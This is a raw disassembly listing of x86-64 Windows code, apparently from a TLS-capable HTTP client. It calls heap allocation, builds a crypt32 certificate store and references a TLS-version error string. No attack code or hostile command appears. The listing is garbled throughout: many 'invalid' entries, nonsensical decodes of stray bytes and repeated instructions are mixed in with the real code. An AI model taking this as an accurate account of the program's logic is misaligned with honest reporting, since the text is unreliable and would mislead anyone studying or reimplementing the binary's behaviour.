movdqu xmm1, xmmword [rbx + 0x210]
movdqu xmm2, xmmword [rbx + 0x220]
outsd dx, dword [rsi]
mov edx, dword [rax]
add al, byte [rax]
add bl, dh
movq mm2, qword [rbx + 0x220]
movdqu xmm3, xmmword [rbx + 0x230]
movdqu xmmword [rax + 0x30], xmm3
movdqu xmmword [rax + 0x20], xmm2
movdqu xmmword [rax + 0x10], xmm1
movdqu xmmword [rax], xmm0
mov qword [rbx + 0x210], rsi
mov qword [rbx + 0x218], r14
mov qword [rbx + 0x220], rax
mov qword [rbx + 0x200], 1
mov qword [rbx + 0x208], 1
add al, byte [rax]
add byte [rcx], al
add byte [rax], al
add byte [rdi], cl
mov dh, 5
xchg esp, eax
movabs al, byte [0x109fdd0d8b480010]
add byte [rax - 0x7b], cl
leave
add al, byte [rax]
add byte [rcx], al
add byte [rax], al
add byte [rdi], cl
mov dh, 5
xchg esp, eax
movabs al, byte [0x109fdd0d8b480010]
add byte [rax - 0x7b], cl
leave
jne 0x140132299
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140133c9d
mov rcx, rax
mov qword [0x14023c258], rax
mov r8d, 0x28
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
add byte [rcx], dh
sar bh, cl
adc eax, 0x5cd91
test rax, rax
je 0x140133c9d
mov rsi, rax
mov rax, qword [rbx + 0x220]
add byte [rax - 0x77], cl
invalid
invalid
add byte [rax - 0x77], cl
and bl, r14b
and bl, dh
mov dword [rsi + 0x20], eax
and bl, dh
movdqu xmm0, xmmword [rbx + 0x200]
movq mm0, qword [rbx + 0x200]
add al, byte [rax]
add bl, dh
movdqu xmm1, xmmword [rbx + 0x210]
movdqu xmm1, xmmword [rbx + 0x210]
add bl, dh
movq qword [rsi + 0x10], mm1
movdqu xmmword [rsi + 0x10], xmm1
movdqu xmmword [rsi], xmm0
mov qword [rbx + 0xe0], rsi
lea r14, [0x1401be3d0]
mov qword [rbx + 0xe8], r14
xor edi, edi
lock inc qword [rsi]
jle 0x140133cf9
mov dword [rbx + 0xa8], edi
mov qword [rbx + 0x200], rsi
mov qword [rbx + 0x208], r14
add byte [rax - 0x77], cl
mov bl, 0
add al, byte [rax]
add byte [rcx + rcx*4 - 0x4d], cl
or byte [rdx], al
add byte [rax], al
movzx eax, byte [0x14023c308]
mov dh, 5
cmc
lahf
adc byte [rax], al
mov rcx, qword [0x14023c258]
test rcx, rcx
jne 0x140132338
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
sbb ecx, ebp
add eax, 0xc0854800
je 0x140133bae
sbb byte [rax], 0
add byte [rax - 0x77], cl
ror dword [rax - 0x77], 5
mov qword [0x14023c258], rax
mov r8d, 0x80
xor edx, edx
invalid
mov rcx, rax
mov qword [0x14023c258], rax
lahf
adc byte [rax], al
mov r8d, 0x80
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
adc eax, 0x5ccf2
adc eax, 0x5ccf2
test rax, rax
je 0x140133bae
mov qword [rax], 1
add byte [rcx], al
add byte [rax], al
add dword [rax], eax
add byte [rax], al
add byte [rax - 0x39], cl
or byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
adc byte [rax], al
adc byte [rax], al
mov qword [rax + 8], 1
mov qword [rax + 0x10], 0
adc byte [rax], al
add byte [rax], al
invalid
adc byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
and byte [rax], al
and byte [rax], al
mov qword [rax + 0x20], 0
and byte [rax], al
add byte [rax], al
add bh, al
mov dword [rax + 0x38], 0x3b9aca00
mov qword [rax + 0x40], 0
add byte [rax], al
add byte [rax], al
cmp byte [rax], al
retf 0x3b9a
add dl, cl
invalid
mov dword [rax + 0x40], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add bh, al
invalid
mov dword [rax + 0x48], 0x11e1a300
mov dword [rax + 0x58], 0x3b9aca00
pop rax
add dl, cl
invalid
cmp esp, dword [rsi - 0x39]
invalid
invalid
add dword [rax], eax
add byte [rbx + 0x40c711e1], spl
pop rax
movabs dword [0x9aca005840c711e1], eax
pop rax
add dl, cl
invalid
cmp esp, dword [rsi - 0x39]
invalid
mov byte [rax + 0x66], 0
mov word [rax + 0x77], 0
mov qword [rbx + 0x130], rax
xor byte [rcx], al
add byte [rax], al
mov qword [rbx + 0x138], rsi
cmp byte [rcx], al
add byte [rax], al
add dword [rax], eax
add byte [rcx + rcx*4 - 0x4d], cl
add dword [rax], eax
add byte [rax], al
invalid
invalid
mov qword [rbx + 0x140], r14
add byte [rax], al
mov rsi, qword [rbx + 0x740]
mov esi, dword [rbx + 0x740]
mov bl, 0x40
invalid
add byte [rbx + 0x748bb], cl
add dh, al
add dword [rbp + 0x1000000], 0xffffffc6
add byte [rax], al
add esi, eax
mov edi, dword [rbx + 0x748]
mov byte [rbx + 0x85], 1
add byte [rax], al
add esi, eax
add dword [rsi + 0x1000000], 0x48
lea ecx, [rbx + 0x130]
xor byte [rcx], al
add byte [rax], al
invalid
invalid
add byte [rax], al
add esi, eax
add dword [rsi + 0x1000000], 0x48
lea ecx, [rbx + 0x130]
xor byte [rcx], al
add byte [rax], al
invalid
xor byte [rcx], al
add byte [rax], al
invalid
add al, ch
leave
pop rbp
call fcn.1400681a0
mov qword [rax + 0x20], rsi
dec dword [rax - 0x77]
jo 0x1401323fb
mov dword [rax + 0x28], edi
mov qword [rbx + 0x10f0], 0
adc byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rsi - 0x39], ah
mov word [rbx + 0x111c], 0x501
lea rsi, [rbx + 0x1100]
invalid
invalid
mov word [rbx + 0x111c], 0x501
lea rsi, [rbx + 0x1100]
mov qword [rbx + 0x1100], 8
add dword [rax], 0x11
add byte [rax], al
or byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rsi + 0xf], ah
pxor xmm0, xmm0
movdqu xmmword [rbx + 0x1108], xmm0
movq qword [rbx + 0x1108], mm0
out dx, eax
sal bl, 0xf
invalid
jg 0x14013238f
movq qword [rbx + 0x1108], mm0
add byte [rax], al
mov word [rbx + 0x1118], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
movzx eax, byte [rbx + 0x820]
mov dh, 0x83
and byte [rax], cl
or byte [rax], al
invalid
or byte [rax], al
add byte [rcx + rax], dh
invalid
xor al, 1
add dword [rax + 0x111883], ecx
mov byte [rbx + 0x1118], al
sbb dword [rax], 0x11
add byte [rax], al
adc dword [rax], eax
add byte [rdi], cl
mov dh, 0x83
invalid
movzx eax, byte [rbx + 0x821]
and dword [rcx], 8
and dword [rax], ecx
add byte [rax], al
add byte [rax + 0x111a83], cl
add byte [rdi], cl
movzx eax, byte [rbx + 0x825]
xor al, 1
mov byte [rbx + 0x111b], al
mov rdi, qword [rbx + 0x7b8]
mov byte [rbx + 0x111a], al
add byte [rax], al
movzx eax, byte [rbx + 0x825]
xor al, 1
add byte [rcx + rax], dh
mov byte [rbx + 0x111b], al
add byte [rax], al
mov rdi, qword [rbx + 0x7b8]
mov edi, dword [rbx + 0x7b8]
mov eax, 0x4c000007
mov esi, dword [rbx + 0x7c0]
add byte [rax], al
mov r14, qword [rbx + 0x7c0]
rol byte [rdi], 0
add byte [rbx + rcx*4 - 0x45], cl
mov r15, qword [rbx + 0x7c8]
invalid
mov r15, qword [rbx + 0x7c8]
lea rax, [rdi + r15*8]
add al, 0xff
mov qword [rbx + 0x200], rdi
mov qword [rbx + 0x208], r14
mov bl, 8
add al, byte [rax]
invalid
add byte [rcx + rcx*4 - 0x4d], cl
or byte [rdx], al
mov bl, 8
add al, byte [rax]
add byte [rax - 0x77], cl
add byte [rax], al
mov qword [rbx + 0x218], rax
sbb dword [rax], 2
add byte [rax], al
shl r15, 3
mov eax, 8
or byte [rax], al
add byte [rax], al
xor edx, edx
mov rcx, rdi
stc
jmp 0x1401324ba
nop dword cs:[rax + rax]
invalid
add byte [rax - 0x75], cl
add dword [rax], 0x11
add byte [rax], al
mov rax, qword [rbx + 0x1100]
mov rdx, qword [rbx + 0x1110]
mov rcx, qword [rbx + 0x88]
mov qword [rax + rdx*8], rcx
inc rdx
mov qword [rbx + 0x1110], rdx
add byte [rax], al
add byte [rax], al
add r15, 0xfffffffffffffff8
mov rcx, r12
loope 0x140132508
test r15, r15
je 0x1401324e7
lea r12, [rcx + 8]
mov qword [rbx + 0x210], r12
mov rcx, qword [rcx]
mov qword [rbx + 0x88], rcx
mov dword [rbx + 0x88], ecx
mov dword [rbx + 0x88], ecx
cmp rdx, qword [rbx + 0x1108]
or byte [rcx], dl
add byte [rax], al
jne 0x14013249e
mov rcx, rsi
int1
call fcn.140170b90
jmp 0x140132490
lea rsi, [0x1401ef9a4]
test r14, r14
je case.0x140122a26.89
invalid
add byte [rbp - 0x7b], cl
div byte [rsp + 0x48]
mov rcx, qword [0x14023c258]
mov rcx, qword [0x14023c258]
xor edx, edx
mov r8, rdi
mov eax, edi
ror byte [rcx - 0x77], cl
clc
mov eax, edi
call qword [sym.imp.KERNEL32.dll_HeapFree]
movzx ecx, byte [rbx + 0x843]
mov dh, 0x8b
or byte [r8], al
invalid
mov al, 1
add eax, 0x8bb60f00
mov dh, 0x8b
or byte [r8], al
or byte [rax], al
add byte [rax + 0xc634801], dh
movsxd rcx, dword [rsi + rcx*4]
add rcx, rsi
invalid
mov cs, word [rax + 1]
int1
jmp rcx
movzx ecx, byte [rbx + 0x843]
mov al, 1
movsxd rcx, dword [rsi + rcx*4]
invalid
or al, 0x8e
invalid
add dword [rax + 0x63], ecx
or al, 0x8e
invalid
invalid
add rcx, rsi
int1
jmp rcx
add byte [rdi], cl
mov dh, 0x8b
or byte [rax], r8b
add byte [rax - 0x73], cl
adc eax, 0xbd47b
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
sar edi, 1
invalid
lea rdx, [0x1401ef9b8]
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
jmp rcx
sar edi, 1
loope 0x14013250e
invalid
add ecx, dword [rax + 0x111c83]
add byte [rdi], cl
mov dh, 0x8b
or byte [rax], r8b
add byte [rax + 0x158d4801], dh
invalid
sbb al, 0x11
add byte [rax], al
movzx ecx, byte [rbx + 0x844]
mov al, 1
lea rdx, [0x1401ef9b8]
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
jmp rcx
lea rcx, str.invalid_minimum_TLS_version_for_backendinvalid_maximum_TLS_version_for_backendtrust_dns_shouldnt_be_enabled_unless_the_feature_is
mov edx, 0x27
call fcn.140068520
jmp 0x1401325da
mov al, 2
jmp case.0x14013257c.0
mov byte [rbx + 0x75], 0
mov byte [rbx + 0x76], 1
lea rcx, [0x1401be417]
mov edx, 0x27
call fcn.140068520
pop rdi
invalid
invalid
pop rdi
dec dword [rax - 0x77]
dec dword [rax - 0x77]
dec dword [rax - 0x77]
mov rsi, rax
mov byte [rbx + 0x85], 1
test dword [rax], eax
add byte [rax], al
add esi, eax
add dword [rsi], 0x48
lea ecx, [rbx + 0x10f0]
mov dh, 0x83
test dword [rax], eax
add byte [rax], al
add esi, eax
add dword [rsi], 0x48
lea ecx, [rbx + 0x10f0]
call fcn.140068730
mov rax, qword [rbx + 0x130]
lock dec qword [rax]
jne 0x140132610
invalid
or al, 0x48
mov rcx, qword [rbx + 0x130]
mov ecx, dword [rbx + 0x130]
call fcn.14014b970
mov rax, qword [rbx + 0x138]
lock dec qword [rax]
mov edi, dword [rbx + 0x90]
mov ebx, 0x90
mov r14d, dword [rbx + 0xa8]
jne 0x14013264d
mov rcx, qword [rbx + 0x138]
add byte [rax], al
mov rdx, qword [rbx + 0x140]
mov byte [rbx + 0x5d], r14b
add byte [rax + rcx*4 + 0x73], al
pop rbp
mov byte [rbx + 0x5e], dil
mov byte [rbx + 0x5f], 0
mov byte [rbx + 0x60], 1
call fcn.14006cb50
mov rax, qword [rbx + 0xe0]
lock dec qword [rax]
or byte [rdi], cl
test byte [rbp + 5], cl
add byte [rax], al
jmp 0x140132bce
mov al, 3
mov byte [rbx + 0x111d], al
mov rax, qword [rbx + 0x140]
mov qword [rbx + 0x5a0], rax
movups xmm0, xmmword [rbx + 0x130]
movaps xmmword [rbx + 0x590], xmm0
movdqu xmm0, xmmword [rbx + 0x10f0]
movdqu xmm1, xmmword [rbx + 0x1100]
mov rax, qword [rbx + 0x1110]
add byte [rax], al
add byte [rax], al
mov qword [rbx + 0xc60], rax
mov eax, dword [rbx + 0x1118]
sbb byte [rcx], dl
add byte [rax], al
sbb byte [rcx], dl
add byte [rax], al
mov dword [rbx + 0xc68], eax
movzx eax, byte [rbx + 0x111c]
mov byte [rbx + 0xc6c], al
movzx eax, byte [rbx + 0x111d]
sbb dword [0xc81326d8], 0xffffff83
insd dword [rdi], dx
or al, 0
invalid
sbb dword [0xc81326d8], 0xffffff83
insd dword [rdi], dx
or al, 0
add byte [rdi], cl
invalid
mov bh, 0x83
invalid
movzx eax, word [rbx + 0x111e]
mov word [rbx + 0xc6e], ax
movdqa xmmword [rbx + 0xc50], xmm1
movdqa xmmword [rbx + 0xc40], xmm0
mov rdi, qword [rbx + 0x108]
mov ebx, 0x108
mov ebx, 0x108
lock inc qword [rdi]
jle 0x140133cf9
mov qword [rbx + 0x580], rdi
movups xmm0, xmmword [0x1401be520]
movaps xmmword [rbx + 0x210], xmm0
movdqu xmm0, xmmword [0x1401be510]
movdqa xmmword [rbx + 0x200], xmm0
mov byte [rbx + 0x77], 0
lea rcx, [rbx + 0x6b0]
lea rdx, [rbx + 0x200]
call fcn.140026a00
mov rsi, rax
test rax, rax
je 0x14013278e
mov rax, qword [rsi]
mov r8, qword [rsi + 8]
mov rax, qword [rax]
mov rdx, rsi
add rdx, 0x18
mov r9, qword [rsi + 0x10]
mov byte [rbx + 0x77], 0
lea rcx, [rbx + 0x200]
call rax
movzx r14d, byte [rsi + 0x20]
movdqu xmm0, xmmword [rbx + 0x200]
movdqu xmm1, xmmword [rbx + 0x210]
movdqa xmmword [rbx + 0x5d0], xmm1
movdqa xmmword [rbx + 0x5c0], xmm0
mov byte [rbx + 0x5e0], r14b
jmp 0x140132798
mov byte [rbx + 0x5e0], 2
mov r14b, 2
movzx eax, byte [rbx + 0x832]
mov dword [rbx + 0x128], eax
sub dword [rax], 1
add byte [rax], al
sub dword [rax], 1
add byte [rax], al
mov r12d, dword [rbx + 0x833]
movzx esi, byte [rbx + 0x826]
movzx r15d, byte [rbx + 0x82e]
mov qword [rbx + 0x960], rdi
mov rax, qword [rbx + 0xc40]
add dword [rax + 0xc], 0
add byte [rax - 0x77], cl
add dword [rax], 1
add byte [rax], al
add dword [rax + 0xc], 0
add byte [rax - 0x77], cl
add dword [rax], 1
add byte [rax], al
test rax, rax
je 0x1401327fc
mov rcx, qword [rbx + 0xc48]
mov byte [rbx + 0x56], 0
mov byte [rbx + 0x57], 1
call qword [sym.imp.crypt32.dll_CertDuplicateCertificateContext]
mov qword [rbx + 0x78], rax
mov eax, 1
mov qword [rbx + 0xd8], rax
jmp 0x140132805
xor eax, eax
mov qword [rbx + 0xd8], rax
mov qword [rsp + 0x20], 0
mov ecx, 2
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.crypt32.dll_CertOpenStore]
test rax, rax
je 0x140132997
mov dword [rbx + 0x578], r12d
mov byte [rbx + 0xc8], r15b
mov byte [rbx + 0x158], sil
mov byte [rbx + 0x9f], r14b
mov qword [rbx + 0x120], rdi
mov qword [rbx + 0xd0], r13
mov r14, qword [rbx + 0xc60]
test r14, r14
je 0x1401328d0
mov r13, qword [rbx + 0xc50]
shl r14, 3
xor r15d, r15d
lea rsi, [rbx + 0x200]
mov rdi, qword [sym.imp.crypt32.dll_CertAddCertificateContextToStore]
mov r12, qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
mov qword [rbx + 0x88], rax
nop word [rax + rax]
mov qword [rbx + 0x200], 0
mov rdx, qword [r13 + r15]
mov rcx, rax
mov r8d, 3
mov r9, rsi
call rdi
test eax, eax
je 0x1401329a1
mov rcx, qword [rbx + 0x200]
call r12
add r15, 8
cmp r14, r15
mov rax, qword [rbx + 0x88]
jne 0x140132890
movzx ecx, word [rbx + 0xc6c]
mov qword [rbx + 0x660], rax
movq xmm0, qword [rbx + 0xc68]
pxor xmm1, xmm1
punpcklbw xmm0, xmm1
pshuflw xmm0, xmm0, 0xc6
packuswb xmm0, xmm0
movd dword [rbx + 0x668], xmm0
mov word [rbx + 0x66c], cx
mov rax, qword [rbx + 0x140]
mov qword [rbx + 0x630], rax
movups xmm0, xmmword [rbx + 0x130]
movaps xmmword [rbx + 0x620], xmm0
mov r12, qword [rbx + 0xd8]
mov qword [rbx + 0x650], r12
mov r15, qword [rbx + 0x78]
mov qword [rbx + 0x658], r15
mov rax, qword [rbx + 0x5e0]
mov qword [rbx + 0x540], rax
movdqa xmm0, xmmword [rbx + 0x5c0]
movdqa xmm1, xmmword [rbx + 0x5d0]
movdqa xmmword [rbx + 0x530], xmm1
movdqa xmmword [rbx + 0x520], xmm0
mov r14, qword [rbx + 0x120]
mov qword [rbx + 0x970], r14
mov eax, dword [rbx + 0x128]
add byte [rbp + 0x25840fc0], al
add eax, dword [rax]
invalid
add byte [rbp + 0x25840fc0], al
add eax, dword [rax]
add byte [rbx - 0x7af0fd08], al
add cl, byte [rdi]
test dword [rbx], esp
add eax, dword [rax]
invalid
cmp eax, 2
jne 0x140132cb1
add cl, byte [rdi]
test dword [rbx], esp
add eax, dword [rax]
add byte [rcx], dh
div byte [rcx]
invalid
xor esi, esi
xor edi, edi
jmp 0x140132cd0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x1401329c6
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
mov rcx, qword [rbx + 0x88]
xor edx, edx
call qword [sym.imp.crypt32.dll_CertCloseStore]
mov rdi, qword [rbx + 0x120]
mov r14b, byte [rbx + 0x9f]
cmp qword [rbx + 0x100], 0
mov rcx, qword [rbx + 0x78]
je 0x1401329e2
mov byte [rbx + 0x56], 0
mov byte [rbx + 0x57], 1
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
shl rsi, 0x20
or rsi, 2
mov qword [rbx + 0x200], rsi
movzx eax, byte [0x14023c308]
mov rcx, qword [0x14023c258]
test rcx, rcx
jne 0x140132a1d
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140133cb5
mov rcx, rax
mov qword [0x14023c258], rax
mov r8d, 8
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x140133cb5
mov qword [rax], rsi
mov word [rbx + 0x268], 0
mov qword [rbx + 0x258], rax
lea rax, fcn.140040690
mov qword [rbx + 0x260], rax
mov dword [rbx + 0x200], 2
movzx eax, byte [0x14023c308]
mov rcx, qword [0x14023c258]
test rcx, rcx
jne 0x140132a8b
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140133cc6
mov rcx, rax
mov qword [0x14023c258], rax
mov r8d, WSAStartup
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x140133cc6
mov rsi, rax
movups xmm0, xmmword [rbx + 0x260]
movups xmmword [rax + 0x60], xmm0
movups xmm0, xmmword [rbx + 0x250]
movups xmmword [rax + 0x50], xmm0
movups xmm0, xmmword [rbx + 0x240]
movups xmmword [rax + 0x40], xmm0
movdqu xmm0, xmmword [rbx + 0x200]
movdqu xmm1, xmmword [rbx + 0x210]
add byte [rax], al
movdqu xmm2, xmmword [rbx + 0x220]
movdqu xmm3, xmmword [rbx + 0x230]
movq mm3, qword [rbx + 0x230]
add byte [rax], al
movdqu xmmword [rax + 0x30], xmm3
movdqu xmmword [rax + 0x20], xmm2
and bl, dh
movq qword [rax + 0x10], mm1
and bl, dh
movq qword [rax + 0x10], mm1
movdqu xmmword [rax], xmm0
cmp r14b, 2
je 0x140132b28
mov rax, qword [rbx + 0x5c0]
mov rdx, qword [rbx + 0x5c8]
mov rax, qword [rax + 0x10]
adc byte [rax - 0x73], cl
mov ebx, eax
add eax, 0x8b4c0000
adc eax, 5
add byte [rax], al
adc byte [rax - 0x73], cl
mov ebx, eax
add eax, 0x8b4c0000
adc eax, 5
add byte [rax], al
mov byte [rbx + 0xa1], 1
call rax
lock dec qword [rdi]
jne 0x140132b41
mov rcx, qword [rbx + 0x960]
mov byte [rbx + 0xa2], 1
call fcn.140068970
mov byte [rbx + 0xa0], 1
lea rcx, [rbx + 0xc40]
call fcn.140068730
mov rax, qword [rbx + 0x590]
lock dec qword [rax]
jne 0x140132b6d
mov rcx, qword [rbx + 0x590]
call fcn.14014b970
mov rax, qword [rbx + 0x598]
lock dec qword [rax]
jne 0x140132b91
mov rcx, qword [rbx + 0x598]
mov rdx, qword [rbx + 0x5a0]
mov byte [rbx + 0x77], 1
call fcn.14006cb50
mov edi, dword [rbx + 0x90]
mov r14d, dword [rbx + 0xa8]
mov esi, dword [rbx + 0xa8]
mov esi, dword [rbx + 0xa8]
mov rax, qword [rbx + 0xe0]
add byte [rax], al
lock dec qword [rax]
jne 0x140132bce
or byte [rbp + 0x23], dh
mov rcx, qword [rbx + 0xe0]
mov rdx, qword [rbx + 0xe8]
mov edx, dword [rbx + 0xe8]
mov edx, dword [rbx + 0xe8]
mov byte [rbx + 0x61], r14b
mov byte [rbx + 0x62], dil
mov byte [rbx + 0x63], 0
invalid
add dh, al
add eax, ebp
invalid
lahf
invalid
invalid
invalid
mov rax, qword [rbx + 0x108]
add byte [rax], al
lock dec qword [rax]
jne 0x140131418
mov rcx, qword [rbx + 0x108]
mov byte [rbx + 0x58], r14b
jae 0x140132c42
jae 0x140132c42
mov byte [rbx + 0x59], dil
mov byte [rbx + 0x5a], 0
mov byte [rbx + 0x5b], 0
mov byte [rbx + 0x5c], 0
call fcn.140068970
jmp 0x140131418
add r8, 2
cmp rdx, rcx
cmovne rdx, r8
nop dword [rax + rax]
mov r8, rdx
cmp rdx, rcx
je 0x140131687
lea rdx, [r8 + 1]
movzx r9d, byte [r8]
mov dh, 8
test r9b, r9b
jns 0x140132c30
cmp r9b, 0xe0
jb 0x140132c1d
loopne 0x140132cc0
invalid
cmp r9b, 0xed
jne 0x140132c7f
cmp rdx, rcx
je 0x140131687
invalid
invalid
retf 0x840f
invalid
lea rdx, [r8 + 2]
cmp rdx, rcx
je 0x140131687
sbb al, 0xea
invalid
invalid
sbb al, 0xea
invalid
cmp byte [r8 + 1], 0x9f
ja 0x140133b08
add r8, 3
add eax, 3
mov rdx, r8
jmp 0x140132c30
add r8, 2
cmp rdx, rcx
cmove r8, rdx
cmove eax, edx
cmove eax, edx
xor edx, edx
cmp r8, rcx
setne dl
add rdx, r8
cmp r9b, 0xf0
jb 0x140132c30
xor r8d, r8d
xor eax, eax
cmp rdx, rcx
setne r8b
add rdx, r8
jmp 0x140132c30
mov sil, 1
xor edi, edi
jmp 0x140132cd0
add dword [rcx], esi
invalid
lea rax, [rbx + 0x837]
mov ecx, dword [rax + 8]
mov dword [rbx + 0x208], ecx
mov rax, qword [rax]
mov qword [rbx + 0x200], rax
add byte [rax - 0x75], cl
add byte [rax - 0x77], cl
add dword [rax], 2
add byte [rax], al
mov dil, 1
xor esi, esi
mov eax, dword [rbx + 0x208]
mov dword [rbx + 0x1008], eax
mov rax, qword [rbx + 0x200]
mov qword [rbx + 0x1000], rax
lea rcx, [rbx + 0x620]
call fcn.1400681a0
mov byte [rax + 0x51], sil
mov ecx, dword [rbx + 0x578]
mov dword [rax + 0x52], ecx
mov byte [rax + 0x56], dil
mov dword [rax + 0x57], ecx
mov rcx, qword [rbx + 0x1000]
mov ecx, dword [rbx + 0x1000]
mov ecx, dword [rbx + 0x1000]
mov qword [rax + 0x5b], rcx
mov ecx, dword [rbx + 0x1008]
mov dword [rax + 0x63], ecx
lea rcx, [rbx + 0x620]
call fcn.1400681a0
lea rcx, [rbx + 0x660]
lea ecx, [rbx + 0x660]
lea ecx, [rbx + 0x660]
mov byte [rax + 0x50], 0
mov rax, qword [rbx + 0x630]
mov qword [rbx + 0x1020], rax
movaps xmm0, xmmword [rbx + 0x620]
movaps xmmword [rbx + 0x1010], xmm0
add byte [rdi], cl
adc byte [rcx], cl
add byte [rdi], cl
adc byte [rcx], cl
mov rcx, qword [rbx + 0x540]
mov qword [rbx + 0x224], rcx
add byte [rax], al
add byte [rax], al
movdqa xmm2, xmmword [rbx + 0x520]
movdqa xmm3, xmmword [rbx + 0x530]
movdqu xmmword [rbx + 0x214], xmm3
movdqu xmmword [rbx + 0x204], xmm2
movaps xmmword [rbx + 0x990], xmm1
mov qword [rbx + 0x9b0], rax
movaps xmmword [rbx + 0x9a0], xmm0
movdqu xmm0, xmmword [rbx + 0x200]
movdqu xmm1, xmmword [rbx + 0x210]
mov rax, qword [rbx + 0x21c]
mov qword [rbx + 0xf0c], rax
add byte [rax - 0x75], cl
and dword [rdx + rax], 0
add byte [rax - 0x77], cl
adc dword [rdi + rcx], 0
adc al, 0xf
add byte [rax], al
add byte [rax - 0x75], cl
and dword [rdx + rax], 0
add byte [rax - 0x77], cl
adc dword [rdi + rcx], 0
adc al, 0xf
add byte [rax], al
invalid
invalid
jg 0x140132d52
adc al, 0xf
add byte [rax], al
movdqa xmmword [rbx + 0xf00], xmm1
add byte [rdi], cl
add byte [rax], al
movdqa xmmword [rbx + 0xef0], xmm0
mov byte [rbx + 0xa0], 0
lea rcx, [rbx + 0xc40]
add byte [rax], al
add byte [rax], al
call fcn.140068730
movaps xmm0, xmmword [rbx + 0x990]
movaps xmm1, xmmword [rbx + 0x9a0]
movdqa xmm2, xmmword [rbx + 0x9b0]
movups xmmword [rbx + 0x190], xmm0
movups xmmword [rbx + 0x1a0], xmm1
adc dword [rbx + 0x1a0], ecx
adc dword [rbx + 0x1a0], ecx
movdqu xmmword [rbx + 0x1b0], xmm2
movaps xmm0, xmmword [rbx + 0xef0]
movdqa xmm1, xmmword [rbx + 0xf00]
movups xmmword [rbx + 0x1c4], xmm0
movdqu xmmword [rbx + 0x1d4], xmm1
movdqu xmm0, xmmword [rbx + 0xf0c]
movdqu xmmword [rbx + 0x1e0], xmm0
movzx eax, byte [rbx + 0x11c]
mov byte [rbx + 0x1ff], al
mov eax, dword [rbx + 0x118]
mov dword [rbx + 0x1fb], eax
mov qword [rbx + 0x180], r12
mov qword [rbx + 0x188], r15
mov dword [rbx + 0x1c0], 0x3b9aca00
add eax, 1
add byte [rax], al
add dl, cl
invalid
cmp ecx, dword [rcx + rcx*4 - 0x4d]
mov bl, 0xf0
add dword [rax], eax
add dh, al
cmp eax, 1
add byte [rax], al
add byte [rdi], cl
mov dh, 0x83
enter 0, 0
add eax, 1
add byte [rax], al
add dl, cl
invalid
mov bl, 0xf0
add dword [rax], eax
add dh, al
cmp eax, 1
add byte [rax], al
add byte [rdi], cl
mov dh, 0x83
enter 0, 0
mov byte [rbx + 0x1f9], al
movzx eax, byte [rbx + 0x158]
mov byte [rbx + 0x1fa], al
mov rax, qword [rbx + 0xe0]
lock dec qword [rax]
mov eax, dword [rbx + 0x90]
mov r8d, dword [rbx + 0xa8]
jne 0x140132ed5
mov rcx, qword [rbx + 0xe0]
add byte [rax], al
mov rdx, qword [rbx + 0xe8]
mov byte [rbx + 0x61], r8b
mov byte [rbx + 0x62], al
mov byte [rbx + 0x63], 0
mov byte [rbx + 0x64], 1
call fcn.14006cb50
mov rax, qword [rbx + 0x740]
mov ecx, dword [rbx + 0x748]
mov qword [rbx + 0x1b8], rax
mov dword [rbx + 0x1c0], ecx
movzx eax, byte [rbx + 0x822]
mov byte [rbx + 0x1f8], al
mov word [rbx + 0x20c], 0
mov dword [rbx + 0x208], 0
mov word [rbx + 0xa30], 0x101
mov byte [rbx + 0xa32], 0
add byte [rax], al
add byte [rax - 0x39], cl
adc dword [rax + 9], 0
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x39], cl
adc dword [rax + 9], 0
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x39], cl
mov qword [rbx + 0x9a0], 0
and dword [rax + 9], 0
add byte [rax], al
mov qword [rbx + 0x9b0], 0
xor dword [rax + 9], 0
add byte [rax], al
mov qword [rbx + 0x9c0], 0x14
adc al, 0
add byte [rax], al
mov dword [rbx + 0x9c8], 0
add bh, al
sbb eax, 9
fmul dword [rcx]
mov dword [rbx + 0x9d8], 0x3b9aca00
fmul dword [rcx]
add byte [rax], al
add dl, cl
invalid
mov qword [rbx + 0x9e0], 0x100000
movabs rax, 0x20000000500000
add byte [rax], al
push rax
add byte [rax], al
add byte [rax], al
and byte [rax], al
mov eax, 0x500000
add byte [rax], al
push rax
add byte [rax], al
add byte [rax], al
and byte [rax], al
mov qword [rbx + 0x9e8], rax
add byte [rax], al
and byte [rax], al
mov qword [rbx + 0x9e8], rax
mov dword [rbx + 0x9f0], 0x4000
add byte [rax], al
add byte [rax], al
add byte [rsi - 0x39], ah
xor esp, 9
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
mov word [rbx + 0x9f4], 0
add byte [rax], al
add byte [rax - 0x39], cl
cmp eax, 9
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rbx + 0x9f8], 0
mov rax, qword [rbx + 0x200]
add dword [rax], 2
add byte [rax], al
mov qword [rbx + 0xa00], rax
mov rax, qword [rbx + 0x206]
mov qword [rbx + 0xa06], rax
add dword [rsi], 0xa
add byte [rax], al
add al, byte [rax]
add byte [rax - 0x77], cl
add dword [rsi], 0xa
add byte [rax], al
mov dword [rbx + 0xa0e], 0x2000000
